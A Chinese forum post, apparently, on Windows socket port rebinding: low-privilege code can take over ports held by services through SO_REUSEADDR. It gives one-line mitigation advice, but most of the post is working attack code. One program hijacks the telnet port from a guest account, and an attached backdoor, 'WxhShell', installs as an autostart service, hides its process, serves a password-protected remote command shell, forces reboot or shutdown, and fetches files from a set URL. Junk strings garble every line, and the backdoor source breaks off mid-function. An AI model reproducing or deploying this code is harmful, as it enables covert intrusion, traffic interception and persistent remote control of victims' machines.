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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: VIod6Vk  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); (ze9-!%  
$c+:dO|Fb  
  saddr.sin_family = AF_INET; +J42pSxzoo  
ojIGfQV  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); J/Ch /Sa  
69odE+-X.  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); zx?|5=+!  
zrC1/%T  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 >ca`0gu  
H$zDk  
  这意味着什么?意味着可以进行如下的攻击: #%z@yg  
4/2@^\?i)  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 A- #c1KU!  
PvxU.  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 7Mh!@Rd_V  
ZJjm r,1  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Qg o| \=  
h4~VzCR4x\  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  @.QuIm8,  
a3 t||@v!  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 S09Xe_q  
Ff[GR$m  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Fa X3@Sd!  
--7@rxv  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 j 4(f1  
i)]^b{5nyB  
  #include 0A75)T=lQ  
  #include J$yJ2G  
  #include 4(8BWP~.y2  
  #include    S=`#X,Wo  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ipRH.1=  
  int main() R\u5!M$::  
  { FaG&U  
  WORD wVersionRequested; _=I&zUF  
  DWORD ret; [O3)s]|  
  WSADATA wsaData; >H]|R }h  
  BOOL val; 4tp }  
  SOCKADDR_IN saddr; c 1{nOx  
  SOCKADDR_IN scaddr; u$(XZ;Jg  
  int err; i6:O9Km  
  SOCKET s; MeO2 cy!5q  
  SOCKET sc; )=#zMdK&  
  int caddsize; d!4:nvKx  
  HANDLE mt; >#5jO9  
  DWORD tid;   lMjeq.5nP  
  wVersionRequested = MAKEWORD( 2, 2 ); ZBc8 ^QZ  
  err = WSAStartup( wVersionRequested, &wsaData ); !z+'mF?V+X  
  if ( err != 0 ) { 42PA?^xPw  
  printf("error!WSAStartup failed!\n"); 8iUKG  
  return -1; &f/"ir[8i  
  } FMqes5\ 3  
  saddr.sin_family = AF_INET; /+?eSgM/  
   AK$i0Rn;pm  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Rw`64L_  
`t]8 [P5  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 3'tq`t:SQ  
  saddr.sin_port = htons(23); %$+bO/f  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) @`rC2-V  
  { *#o2b-[V  
  printf("error!socket failed!\n"); zIc_'Z,b  
  return -1; ,+'VQa"]  
  } rCdTn+O2  
  val = TRUE; +)*oPSQ5  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 slG%o5|m  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) T $o;PJc  
  { LP//\E_]  
  printf("error!setsockopt failed!\n"); 7vB6IF  
  return -1; a)M3t  
  } Ak@y"!wnM  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; #9]O92t2UV  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 6'1Lu1w  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 HurF4IsHk  
mS &^xWPV  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 8AmB0W> e  
  { [}?E,1Q3  
  ret=GetLastError(); tx}=c5  
  printf("error!bind failed!\n"); _16r8r$V  
  return -1; @8|i@S@4  
  } %ERR^  
  listen(s,2); -;&-b>b  
  while(1) NxN~"bfh  
  { Qa,$_ ,E  
  caddsize = sizeof(scaddr); C9nCSbGMY{  
  //接受连接请求 ;% l0Ml>  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 7Q # A  
  if(sc!=INVALID_SOCKET) Eyg F,>.4  
  { c^}DBvG,  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); CjmF2[|  
  if(mt==NULL) /3qKsv#  
  { (bGk=q=M  
  printf("Thread Creat Failed!\n"); +Al* MusS  
  break; x{,W<oXg  
  } L [X "N  
  } HXQ } B$V  
  CloseHandle(mt); {6HgKI  
  } 9]^NAlno  
  closesocket(s); o:lMRP~  
  WSACleanup(); <O~ieJim  
  return 0; c=4z+_K  
  }   v=x)]<E" _  
  DWORD WINAPI ClientThread(LPVOID lpParam) dIk9C|-.  
  { H8qWY"<Vd  
  SOCKET ss = (SOCKET)lpParam; O2oF\E_6  
  SOCKET sc; a*!9RQ  
  unsigned char buf[4096]; i6xzHfaYG  
  SOCKADDR_IN saddr; 4+F@BxpB  
  long num; $~'G<YYF4  
  DWORD val; p+^K$w^Cs  
  DWORD ret; \N)!]jq  
  //如果是隐藏端口应用的话,可以在此处加一些判断 6Q}>=R^h  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   sxPvi0>  
  saddr.sin_family = AF_INET; Fuo.8  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); a#+;BH 1  
  saddr.sin_port = htons(23); OTmr-l6  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) )C $1))  
  {  +Q+!#  
  printf("error!socket failed!\n"); dX DuO  
  return -1; hGo/Ve+@  
  } SHqz &2u  
  val = 100; P$"s*otr  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) P7;q^jlB  
  { __)"-\w-_(  
  ret = GetLastError(); be>KG ZU0  
  return -1; 0D}k ^W  
  } +"PME1  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 5 $. az  
  { "cDc~~3/@  
  ret = GetLastError(); uo7[T*<Q  
  return -1; Q-||A  
  } z#+Sf.  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) HVNX"`]"  
  { KZ|p_{0&  
  printf("error!socket connect failed!\n"); 7h\U}!  
  closesocket(sc); 3+V.9TL'a  
  closesocket(ss); {N@tJ,Fh{  
  return -1; p}q]GJ  
  } jgT *=/GH2  
  while(1) p?x]|`M  
  { /rv=ml pRL  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 U (A#}  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 v8K4u)  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 2jyxP6t  
  num = recv(ss,buf,4096,0); ?cgb3^R'  
  if(num>0) 36yIfC,  
  send(sc,buf,num,0); ePTN^#|W  
  else if(num==0) gO kum_  
  break; /(Ryh6M  
  num = recv(sc,buf,4096,0); >C}KSyV;  
  if(num>0) V#V<Kz  
  send(ss,buf,num,0); = '<*mT<  
  else if(num==0) (sEZNo5n  
  break; [.>g.p,;  
  } +}NQ |y V  
  closesocket(ss); USbFUHdDc  
  closesocket(sc); M/jdMfU  
  return 0 ; {Ty?OZ  
  } -<^3!C >  
%?!TqJT?{  
&p.7SPQ8/  
========================================================== %(g!,!l)  
\w2X.2b.F  
下边附上一个代码,,WXhSHELL yz_xWx#9  
~lH2# u>g  
========================================================== 0]l9x}  
t&rr;W]  
#include "stdafx.h" cDh\$7'b  
e)]DFP[ n  
#include <stdio.h> TJkWL2r0c  
#include <string.h> Xh`Oin}<  
#include <windows.h> O\^D 6\ v  
#include <winsock2.h> z2OXCZ*/  
#include <winsvc.h> $"`e^J9!!  
#include <urlmon.h> $TavvO%#  
B{lL}"++0  
#pragma comment (lib, "Ws2_32.lib") n2&M?MGX  
#pragma comment (lib, "urlmon.lib") BmCBC,j<v>  
xO;Qr.3PX  
#define MAX_USER   100 // 最大客户端连接数 I9kBe}g3  
#define BUF_SOCK   200 // sock buffer KZwzQ"Hl  
#define KEY_BUFF   255 // 输入 buffer bs_rw+  
M[KYt"v  
#define REBOOT     0   // 重启 *+<H4.W H  
#define SHUTDOWN   1   // 关机 txy'7t  
ufS0UD8%H  
#define DEF_PORT   5000 // 监听端口 q4ej7T8  
:*)b<:4  
#define REG_LEN     16   // 注册表键长度 ]C$$Cx)Ex  
#define SVC_LEN     80   // NT服务名长度 3E:+DF-Z\  
1DM$FG_Z-  
// 从dll定义API t++\&!F  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); zM<yd#`yt8  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); $lf\1)B~*  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); pOIfKd  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ]8EkZC  
N"/be  
// wxhshell配置信息 mbZ g2TTy  
struct WSCFG { L'}^Av_+  
  int ws_port;         // 监听端口 o)Nm5g  
  char ws_passstr[REG_LEN]; // 口令 RX\@fmK&  
  int ws_autoins;       // 安装标记, 1=yes 0=no }3y Q*<  
  char ws_regname[REG_LEN]; // 注册表键名 szD BfGd%j  
  char ws_svcname[REG_LEN]; // 服务名 0p!N'7N  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 <^B!.zQ  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 "'mr0G9X  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 uCGn9]  
int ws_downexe;       // 下载执行标记, 1=yes 0=no j0IuuJ+  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" nokMS  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 &3'zG)  
Y# ?M%I%j  
}; 1A/li%  
S3_QOL  
// default Wxhshell configuration F` ]s  
struct WSCFG wscfg={DEF_PORT, 0 +"P 1/  
    "xuhuanlingzhe", s&Qil07 Vl  
    1, yy$7{9!  
    "Wxhshell", )lB*] n`Z]  
    "Wxhshell", 'C\knQ  
            "WxhShell Service", g;<_GL  
    "Wrsky Windows CmdShell Service", -xc'P,`  
    "Please Input Your Password: ", 6Pu5 k;H  
  1, 8rgNG7d  
  "http://www.wrsky.com/wxhshell.exe", h OF>Dj  
  "Wxhshell.exe" [[d@P%X&  
    }; "Kt[jV;6  
&|) (lX  
// 消息定义模块 YM]ZL,8  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; >l|dLyiae  
char *msg_ws_prompt="\n\r? for help\n\r#>"; E| =~rIKN  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; @X*r5hjc  
char *msg_ws_ext="\n\rExit."; -YP>mwSN?  
char *msg_ws_end="\n\rQuit."; EL-1o0 2-  
char *msg_ws_boot="\n\rReboot..."; B$cx '_zF  
char *msg_ws_poff="\n\rShutdown..."; ij~023$DTt  
char *msg_ws_down="\n\rSave to "; .]W A/}  
eA(c{  
char *msg_ws_err="\n\rErr!"; k,nRC~Irh  
char *msg_ws_ok="\n\rOK!"; f; 1C)  
Dx<CO1%z-  
char ExeFile[MAX_PATH]; m]NyEMYg  
int nUser = 0; I7nZ9n|KU  
HANDLE handles[MAX_USER]; "|l-NUe  
int OsIsNt; >HXmpu.O  
/N&)r wc  
SERVICE_STATUS       serviceStatus; ]o]*&[C  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; &% \`Lwh  
Dj9).lgc  
// 函数声明 *rk!`n&  
int Install(void); z2QZ;ZjvRS  
int Uninstall(void); ;9R;D,Gk!  
int DownloadFile(char *sURL, SOCKET wsh); &<E*W*b[  
int Boot(int flag); R)w|bpW  
void HideProc(void); 93npzpge  
int GetOsVer(void); C  +%&!Q  
int Wxhshell(SOCKET wsl); 3S'juHT e  
void TalkWithClient(void *cs); r%g?.4o*b  
int CmdShell(SOCKET sock); w8Mi: ;6  
int StartFromService(void); N'nqVYTU  
int StartWxhshell(LPSTR lpCmdLine); ^vjN$JB  
siHS@S  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 6"Km E}  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); A qKl}8  
l ^*GqP5  
// 数据结构和表定义 btK| U  
SERVICE_TABLE_ENTRY DispatchTable[] = H3"[zg9L:a  
{ G w$sL&1m\  
{wscfg.ws_svcname, NTServiceMain}, XK (y ?Y1  
{NULL, NULL} [9WtoA,kx  
}; RrkS!E[C  
`A)9   
// 自我安装 lMX 2O2 o  
int Install(void) >69+e+|I  
{ kN4nRW9z  
  char svExeFile[MAX_PATH]; '|b {  
  HKEY key; a<%WFix  
  strcpy(svExeFile,ExeFile); U/2g N H  
>o=3RB=Fh  
// 如果是win9x系统,修改注册表设为自启动 -}m#uUqI  
if(!OsIsNt) { bUC-}  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { C^S?W=1=w  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Rla4XN=mf  
  RegCloseKey(key); HM])m>KeT  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _XtLO- D  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2roPZj  
  RegCloseKey(key); kSH3)CC P  
  return 0; <_ 02)6j  
    } {_1^ GIIS  
  } 9x,Aqr$t  
} *J!oV0#1  
else { 6u3DxFiTm  
,@=qaU  
// 如果是NT以上系统,安装为系统服务 z I`'n%n=  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); J_s?e#s  
if (schSCManager!=0) JbG\Ywi0]  
{ )^uLZMNaI  
  SC_HANDLE schService = CreateService p3:x\P<|  
  ( BJk:h-m [  
  schSCManager, owTW_V  
  wscfg.ws_svcname, "_ b Sy  
  wscfg.ws_svcdisp, z12[vN  
  SERVICE_ALL_ACCESS, >\K<q>*  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 5n r}5bum  
  SERVICE_AUTO_START, kwdmw_  
  SERVICE_ERROR_NORMAL, >U^AIaW  
  svExeFile, !W/Og 5n  
  NULL, $"T1W=;j9  
  NULL, J={$q1@lq  
  NULL, rd\mFz-SB  
  NULL, _> .TB\  
  NULL Q{!lLka  
  ); Tfhg\++u  
  if (schService!=0) sMli!u  
  { ^aDos9SyV  
  CloseServiceHandle(schService); +&tY&dQQB  
  CloseServiceHandle(schSCManager); +DM+@F  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ;C-5R U V  
  strcat(svExeFile,wscfg.ws_svcname); 3=) /-l  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ?]f+)tCMs  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); C^Tc9  
  RegCloseKey(key); *#Hi W)  
  return 0; -:m;ePK  
    } iwCnW7:  
  } H|T:_*5  
  CloseServiceHandle(schSCManager); skdSK7 n  
} DTN@b!  
} YWM$%   
;=hl!CB  
return 1; 8nQlmWpJ  
} u.0Z)j}N  
KU3lAjzN  
// 自我卸载 iBxCk^  
int Uninstall(void) A) p}AEBc  
{ 9#/z [!  
  HKEY key; I1kx3CwJ{P  
(iGk]Rtzt  
if(!OsIsNt) { zUXqTcj  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9+9}^B5@A  
  RegDeleteValue(key,wscfg.ws_regname); b0x9}  
  RegCloseKey(key); (SoV2[|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { uwQ{y>SG  
  RegDeleteValue(key,wscfg.ws_regname); tHXt*tzq  
  RegCloseKey(key); X6!u(plVQ  
  return 0; !y'LKze+G  
  } }0?642 =-  
} WDY,?  
} t3 *2Z u  
else { CCp{ZH s  
"f~S3?^!2  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); )#T(2A  
if (schSCManager!=0) KI-E=<zt  
{ 2y#4rl1Utx  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); waQNX7Xdn  
  if (schService!=0) jr*A1y*  
  { 0fXdE ;M3  
  if(DeleteService(schService)!=0) { s41<e"  
  CloseServiceHandle(schService); !V Zl<|  
  CloseServiceHandle(schSCManager); `9s5 *;Z  
  return 0; hBz~FB];&  
  } J@H9nw+Q  
  CloseServiceHandle(schService); .gv J;A7  
  } zbx,qctYo$  
  CloseServiceHandle(schSCManager); ~{*FjZ`h  
} engql;  
} 0D/j2cT("k  
X;v/$=-mz  
return 1; 0DIaXdOdW+  
} j?+FS`a!  
T5-50nU,~  
// 从指定url下载文件 :!N 5daK  
int DownloadFile(char *sURL, SOCKET wsh) X/];*='Q  
{ NV9D;g$Y  
  HRESULT hr; cA`R~o"  
char seps[]= "/"; iwJBhu0@#  
char *token; jkFS=eonK  
char *file; $[VKM|Zjw  
char myURL[MAX_PATH]; e~ W35Y>A  
char myFILE[MAX_PATH]; MH?|>6  
,@khV  
strcpy(myURL,sURL); aa.EtKl  
  token=strtok(myURL,seps); PGP9-M  
  while(token!=NULL) 4M6o+WV  
  { 3:Y ZC9  
    file=token; vXR-#MS`}  
  token=strtok(NULL,seps); Ol~sCr  
  } f&js,NU"  
fR~_5 pt7  
GetCurrentDirectory(MAX_PATH,myFILE); 6QLWF @  
strcat(myFILE, "\\"); lHV bn7  
strcat(myFILE, file); H"WkyvqXb  
  send(wsh,myFILE,strlen(myFILE),0); -F/"W  
send(wsh,"...",3,0); 9-Ikd>9  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); gPT-zul  
  if(hr==S_OK) >E#| H6gx  
return 0; {K09U^JU  
else E O52 E|  
return 1; M9_ y>N[0  
z/.x*A=  
} ..Zuy|?w  
O9r3^y\>I  
// 系统电源模块 9FP6Z[4  
int Boot(int flag) T6Z2 #  
{  PQa {5"  
  HANDLE hToken; "e69aAA,  
  TOKEN_PRIVILEGES tkp; o`+6E q0w  
#@;RJJZg  
  if(OsIsNt) { (i.MxG Dd  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); [0lCb"  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); TF} <,aR  
    tkp.PrivilegeCount = 1; ua0`&,a3I  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; z. VuY3  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); SJ6lI66OX  
if(flag==REBOOT) { VSx[{yn  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) X{| 1E85fl  
  return 0; \wCj$- ;Jt  
} A@Z&ZBDg  
else { 9b``l-rO  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Y 1rU  
  return 0; `l9Pk\X[  
} _'ltz!~  
  } lf4-Ci*X  
  else { C;0H _  
if(flag==REBOOT) { MG*#-<OV.  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) RgHPYf{  
  return 0; 8Focs p2  
} _ "&b%!  
else { -;a}'1HOE  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) S)iv k x  
  return 0; /1zi(z   
} R^iF^IB  
} !e?=I  
y1p^ &9 U  
return 1; $iUK, ?  
}  "9!ln  
b] DF7 U  
// win9x进程隐藏模块 :XxsDD  
void HideProc(void) b6RuYwHWV0  
{ Yz us=  
y#F( xm+L  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); H{VVxj  
  if ( hKernel != NULL ) s]#D;i8  
  { e[$=5U~c  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); z2vrV?:  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); (TM1(<j  
    FreeLibrary(hKernel); {f((x1{HZx  
  } #K.OJJaG  
H5'/i;  
return; m Y*JNx  
} X=USQj\A  
$bIVD  
// 获取操作系统版本 (2RZc].M~  
int GetOsVer(void) Qh<_/X?  
{ W&#Ps6)8  
  OSVERSIONINFO winfo; Azv j(j  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); y!&6"l$K]  
  GetVersionEx(&winfo); &}_ $@  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) x ok8  
  return 1; 87l(a,#J  
  else M>nplHq   
  return 0; Q'/v-bd?o  
} )ZC0/>R  
{&nL'R  
// 客户端句柄模块 ZjF5*A8l  
int Wxhshell(SOCKET wsl) fQ33J>  
{ w/BaaF.0  
  SOCKET wsh; R8O; 8c?D  
  struct sockaddr_in client; [vh&o-6  
  DWORD myID; OPOL-2<wiy  
2L Kpwz?  
  while(nUser<MAX_USER) UfIH!6Q  
{ 6yH(u}!.  
  int nSize=sizeof(client); =$xxkc.~G  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); $L%gQkz_  
  if(wsh==INVALID_SOCKET) return 1; ncZ5r0  
V_+XZ+7Lx}  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); {ZQ|Ydpk  
if(handles[nUser]==0) t)o!OEnE  
  closesocket(wsh); '*gY45yT`  
else 50h?#u6?  
  nUser++; hDBVL"  
  } a^/j&9  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); {[&$W8Li  
jyB^a;-  
  return 0; Cn+'!?!d,  
} H{qQ8 j)  
**p|g<wvY*  
// 关闭 socket ${fJ]  
void CloseIt(SOCKET wsh) [C_Dv-d  
{ =, kH(rp2  
closesocket(wsh); /WqiGkHV*  
nUser--; tA;#yM;  
ExitThread(0); {Aq2}sRl{  
} +'aG&^k4  
~Psv[b=]  
// 客户端请求句柄 NABVU0}   
void TalkWithClient(void *cs) JSO'. [N  
{ V% -wZL/  
Ib V 7}  
  SOCKET wsh=(SOCKET)cs; HYqDaRn  
  char pwd[SVC_LEN]; +7%}SV 2)  
  char cmd[KEY_BUFF]; ]H[%PQ r`Z  
char chr[1]; ; (0<5LQ  
int i,j; eD<Kk 4){  
2g'o5B\ *  
  while (nUser < MAX_USER) { \M(#FS  
x ,LQA0  
if(wscfg.ws_passstr) { U`*L`PM  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `]*BDSvE  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); gFBMARxi  
  //ZeroMemory(pwd,KEY_BUFF); w+ MCOAB  
      i=0; 3/d`s0O  
  while(i<SVC_LEN) { (>.+tq}  
*(c><N  
  // 设置超时 P`ZYm  
  fd_set FdRead; BZUA/;Hz &  
  struct timeval TimeOut; Gh.@l\|tf  
  FD_ZERO(&FdRead); ItLP&S=  
  FD_SET(wsh,&FdRead); A08b=S  
  TimeOut.tv_sec=8; j)A$%xUo  
  TimeOut.tv_usec=0; e3YdHp  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); s"jNS1B  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 85fv])\y  
ccCe@1RI  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !`UHr]HJ  
  pwd=chr[0]; uW@o,S0:  
  if(chr[0]==0xd || chr[0]==0xa) { /C: rr_4=  
  pwd=0; XwerQwO=  
  break; N7}Y\1-8  
  } ~sk{O%OI  
  i++; yEvuTgDv  
    } W{JNNf6G  
9gS.G2  
  // 如果是非法用户,关闭 socket @-g'BvS  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); w =MZi=p  
} cag9f?w@V  
\Gzo^w  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); gp?|UMA9 .  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^Ko{#qbl/  
]n/fB|tE  
while(1) { !uno!wUIYd  
Wd0$t    
  ZeroMemory(cmd,KEY_BUFF); y%9Q]7&=  
pbM"tr_A{  
      // 自动支持客户端 telnet标准   C/sDyv$  
  j=0; |ULwUi-r  
  while(j<KEY_BUFF) { @Z50S 8  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~582'-=+  
  cmd[j]=chr[0]; cdH Ug#  
  if(chr[0]==0xa || chr[0]==0xd) { Q302!N  
  cmd[j]=0; [;]@PKW?w  
  break; >Za66<:  
  } tFYIKiq2  
  j++; 2k^dxk~$V;  
    } 4-YXXi}  
/G>reG,G  
  // 下载文件 /_,} o7@t~  
  if(strstr(cmd,"http://")) { o4Bl!7U  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ElEa*70~g  
  if(DownloadFile(cmd,wsh)) l5jW`cl1  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); r7I,%}k  
  else qM$~5uu  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >v+ia%o  
  } ? }k~>. \  
  else { Q~'a1R  
<IF\;,.c  
    switch(cmd[0]) { ?Z<2zm%qV  
  iZ`1Dzxgk  
  // 帮助 zn4Yo  
  case '?': { C+WHg-l  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); n.m6n*sf7  
    break; GMw|@?:{  
  } kUJ\AK  
  // 安装 9iQcK&D 2  
  case 'i': { YLlw:jN  
    if(Install()) 6]|NB&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 328(W  
    else h>Z$ n`T  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); x*#F|N4~',  
    break; ZSuMQ32  
    } ^}2 ie|  
  // 卸载 /HNZwbh]uJ  
  case 'r': { 5JbPB!5;  
    if(Uninstall()) k3m|I*_\L  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;+-$=l3[a  
    else Q#@gOn=W\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qj71 rj  
    break; h(;qnV'c  
    } .P=uR8  
  // 显示 wxhshell 所在路径 ? OBe!NDf  
  case 'p': { o} #nf$v(  
    char svExeFile[MAX_PATH]; &)vX7*j  
    strcpy(svExeFile,"\n\r"); 4/{Io &|  
      strcat(svExeFile,ExeFile); I`44}oJ  
        send(wsh,svExeFile,strlen(svExeFile),0); DytOS}/^9  
    break; ;G.m;5A  
    } tUq* -9 V  
  // 重启 ay2 m!s Q  
  case 'b': { ?6    
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); +w/Ax[K  
    if(Boot(REBOOT)) k=[!{I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %E7+W{?*1  
    else { NQ<~$+{  
    closesocket(wsh); xZ@H{):  
    ExitThread(0); Y#PbC  
    } O0"i>}g4  
    break; _Z6/r^c  
    } { e2 (  
  // 关机 1){1 HK  
  case 'd': { ewgcpV|spn  
